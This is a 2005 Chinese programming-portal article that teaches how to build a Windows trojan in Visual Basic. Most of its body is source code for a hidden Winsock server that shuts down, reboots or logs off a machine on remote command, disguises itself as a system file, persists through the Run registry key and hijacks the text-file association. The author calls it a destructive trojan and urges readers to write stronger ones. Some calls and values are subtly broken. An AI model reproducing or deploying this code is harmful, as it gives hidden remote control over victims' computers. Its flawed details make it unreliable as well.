,VB   工具软件   办公软件   操作系统   网络安全   设计在线   程序开发   教程宝典   软件下载   软件论坛,VB
您的位置:软件 > 开发者网络 > 开发工具 > 开发专栏 > VB > 正文
利用Visual Basic实现木马攻击
[文章信息]
作者:
时间:2005-04-09
出处:中国VB网
责任编辑:方舟
[文章导读]
首先,新建一工程,名为Server,新建一个窗体
advertisement
专题教程宝典
【软件应用】
【办公软件】
【图形图像】
【网页制作】
【操作系统】
【网络安全】
【程序开发】
【日报周刊】
【多媒体教程】
· 天极软件应用多媒体教程
· 游戏开发新手入门讲座
· 多媒体系列教程:网页设计制作
· 豪杰超级解霸V9使用手册(下)
· 打造个性化的Windows操作系统
· 图解Photoshop CS2 新功能体验
· 编程中的“拿来主义” 第三方控件推荐
· JBuilder 2005 单元测试体验
· 豪杰超级解霸V9使用手册(上)
· 数码照片后期处理与创意设计
[正文]
  首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

  接下来我们回来Server窗体模块中,添加如下代码:

Private Sub form_Load()
 With Me
  .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)
  .sckServer.Listen '开始监听
 End With
End Sub

'接受客户端的连接请求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
 With Me
  If .sckServer.State <>sckClosed Then .sckServer.Close
  .sckServer.Accept (requestID)
 End With
End Sub

  下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:

Private Sub form_Load()
 With Me
  .sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。
  .sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样.
 End With
End Sub

Private sub cmdConnect_Click()
 SckClient.Connect
End sub

  至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。

  这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能―――关机,重启,注销。好,开始吧!

  在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:

Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long

Public Type RECT
 Left As Long
 Top As Long
 Right As Long
 Bottom As Long
End Type

  注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

  下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:

Private Sub cmdExit_Click()
 Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
 Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
 Me.sckClient.SendData "Reboot"
End Sub

  全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
 Dim strData As String
 With Me
  ' 接收客户请求的信息
  .sckServer.GetData strData
  Select Case strData
   Case "Exit"
    '关机
    Call ExitWindowXXX(EWX_SHUTDOWN, 0)
   Case "Reboot"
    '重启
    Call ExitWindowXXX(EWX_REBOOT, 0)
   Case "Logoff"
    '注销
   Call ExitWindowXXX(EWX_LOGOFF, 0)
  End Select
 End With

End Sub

  好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

  回到Server工程中的modApi中加入如下API函数:

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const HKEY_CLASSES_ROOT = &H80000000

  写到注册表启动组中的过程。

Public Sub StartupGroup()

 Dim sKey As String
 Dim result As Long
 Dim hKeyID As Long
 Dim sKeyVal As String

 sKey = "Systrsy" '启动组中的键,找一个与系统文件相近的。
 sKeyVal = "C:/windows/system/systrsy.exe" '木马文件的路径,可以用GetSystemDirectory来取得系统路径。
 result = RegOpenKey(HKEY_LOCAL_MACHINE, _
    "Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
 If result = 0 Then
  result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
 End If
End Sub

  好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:

Public Sub WriteToTxt()

 Dim result As Long
 Dim hKeyID As Long
 Dim skey As String
 Dim skeyVal As String

 skey = "txtfile/shell/open/command"
 skeyVal = "C:/windows/system/txtView.exe"
 result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

 If result = 0 Then
  result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
 End If
End Sub

  肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/txtView.exe是哪里来的,我们的木马是C:/windows/system/systrsy.exe呀。这可是我们木马的分身了。

  好,回到Server工程的Server窗体的form_Load中,加入如下代码:

Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
sSystemDir = “C:/windows/system”
On Error Resume Next

 '复制文件成系统目录下的Systrsy.exe
 FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next

复制文件成系统目录下的txtView.exe

FileCopy sCurrentPath, sSystemDir & "/txtView.exe"

  调用

Call startupGroup
Call WriteToTxt

'判断程序是否下在运行

If App.PrevInstance Then
 '如果已经运行就退出。
End

End If

  好了,写到这里一个破坏性木马已经诞生了,我实验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河(呵呵!)

  注意:

  1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突

  2、在第一次使用VB.NET的最好看看有关的图书,可能你能写出一款超级木马也说不定

发表评论推荐给朋友我想参加相关培训打印我对此感兴趣订阅电子杂志
,VB相关内容,VB焦点新闻
  • 用Visual Basic开发绿色软件的探讨
  • VB“超频”秘籍之给字符串提速
  • 用VB6建立带光栅的超级开始菜单
  • Visual Basic编程访问WMI对象
  • 用Visual Basic创建多线程应用程序
  • FVD刺激高清碟机加速商业化 抢占商机最重要
  • 3家搜索引擎集体诉讼8848 吕春维未敢出席
  • 杨元庆:没有准备不会获批的备用方案
  • 军队信息化诞生新领域 电子军务呼之欲出
  • 世界经济论坛公布信息化程度全球最新排名
  • 2004政务绩效评估:政府门户尚处于发展阶段
  • 甲骨文出资5.15亿美元 意图收购RetekInc
  • 技术并购:帮你突破传统增长的“天花板”
  • ,VBAdvertisement

    天极无线
    经典名曲 华语流行 欧美风情 人声音效 原声大碟
    你好周杰伦-安又琪
    直线-张韶涵
    天边-张韶涵
    看我72变-蔡依林
    乱世佳人-Twins
    全世界下雨-张娜拉
    我们的爱-飞儿乐队
    分手快乐-梁静茹
    爱在西元前-周杰伦
    三万英尺-迪克牛仔
    爱如潮水-张信哲
    爱情宣言-齐秦
    寻找玛依拉-刀郎
    驼铃-刀郎
    老鼠爱大米-杨臣刚
    功夫主题曲
    仙剑主题曲杀破狼
    天下无贼片尾曲
    冲动的惩罚-刀郎
    情人-刀郎
    爱情-莫文蔚
    挪威的森林-伍佰
    奔跑 - 羽泉
    因为爱 - 羽泉
      ·时尚女人圈
    ·经典影视专集
    ·美女秀场
    ·美丽大自然专题
    ·流行金曲
    ·科幻电影特区
    | 最新推荐
    ·你好周杰伦
    ·杀破狼
    ·寻找玛依拉
    ·孤单公园
    ·男人海洋
    | 魔术铃声
    ·少女丰胸
    ·少妇丰胸
    ·减肥魔铃
    ·增高魔铃
    ·美容魔铃

    今日报价查询 更多报价